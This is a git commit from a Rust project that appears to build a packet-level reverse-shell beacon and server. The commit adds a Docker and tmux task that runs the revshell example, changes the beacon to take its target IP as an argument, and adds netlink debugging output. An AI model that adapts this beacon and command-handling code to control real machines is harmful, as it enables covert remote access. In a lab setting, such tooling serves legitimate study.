fix: fixing revshell example and its routes

This commit is contained in:
Andrew Rioux 2023-05-12 01:16:52 -04:00
parent 4123175eda
commit 5ab43a10fe
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
4 changed files with 30 additions and 9 deletions

View File

@ -6,3 +6,18 @@ tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target'
tmux split-window -h 'docker-compose run examples_bindshell_client' tmux split-window -h 'docker-compose run examples_bindshell_client'
tmux -2 attach -t bindshell tmux -2 attach -t bindshell
''' '''
[tasks.examples-revshell-run]
workspace = false
dependencies = ["build"]
script = '''
set -eux
tmux new-session -d -s revshell 'docker-compose up examples_revshell_server'
sleep 1
IP=$(docker-compose exec examples_revshell_server ip a show eth0 | awk '/inet/{print $2}' | awk -F'/' '{print $1}')
echo $IP
sleep 1
COMMAND="target/debug/ex-revshell-beacon $IP"
tmux split-window -h "$COMMAND"
tmux -2 attach -t revshell
'''

View File

@ -149,7 +149,7 @@ async fn handle_command(
let cmd_str = std::str::from_utf8(cmd.as_bytes()); let cmd_str = std::str::from_utf8(cmd.as_bytes());
match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() { match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
Ok(["exit"]) => { Ok(["exit"]) => {
send_exit.send(()).await; let _ = send_exit.send(()).await;
return Ok(()); return Ok(());
} }
Ok(["cd", dir]) => { Ok(["cd", dir]) => {

View File

@ -1,4 +1,4 @@
use std::{collections::HashMap, io::prelude::*, net::Ipv4Addr}; use std::{collections::HashMap, net::Ipv4Addr};
use anyhow::anyhow; use anyhow::anyhow;
use tokio::time::{interval, Duration}; use tokio::time::{interval, Duration};
@ -9,12 +9,7 @@ use pcap_sys::packets::*;
#[tokio::main] #[tokio::main]
async fn main() -> anyhow::Result<()> { async fn main() -> anyhow::Result<()> {
print!("Please enter the target IP (found with `docker-compose exec examples_revshell_server ip a`, e.x. 172.19.0.2): "); let target = std::env::args().skip(1).next().ok_or(anyhow!("could not get target IP"))?.parse::<Ipv4Addr>()?;
std::io::stdout().flush()?;
let stdin = std::io::stdin();
let mut target = String::new();
stdin.read_line(&mut target)?;
let target = target.trim().parse::<Ipv4Addr>()?;
let (ifname, src_mac, dst_mac, srcip) = { let (ifname, src_mac, dst_mac, srcip) = {
let socket = netlink::Socket::new()?; let socket = netlink::Socket::new()?;

View File

@ -122,7 +122,10 @@ impl Link {
impl Debug for Link { impl Debug for Link {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.debug_struct("Link").field("name", &self.name()).finish() f.debug_struct("Link")
.field("name", &self.name())
.field("ifindex", &self.ifindex())
.finish()
} }
} }
@ -174,6 +177,14 @@ pub fn get_macs_and_src_for_ip(
let link = netlink::get_link_by_index(links, link_ind)?; let link = netlink::get_link_by_index(links, link_ind)?;
let neighs_ = neighs.iter().collect::<Vec<_>>();
dbg!(neighs_.len());
for neigh in neighs_.iter() {
println!("Neigh: {:?} -> {:?} ({})", neigh.lladdr(), neigh.dst(), neigh.ifindex());
}
let neigh = neighs.iter().find(|n| n.ifindex() == link.ifindex())?; let neigh = neighs.iter().find(|n| n.ifindex() == link.ifindex())?;
let srcip = addrs.iter().find(|a| a.ifindex() == link.ifindex())?; let srcip = addrs.iter().find(|a| a.ifindex() == link.ifindex())?;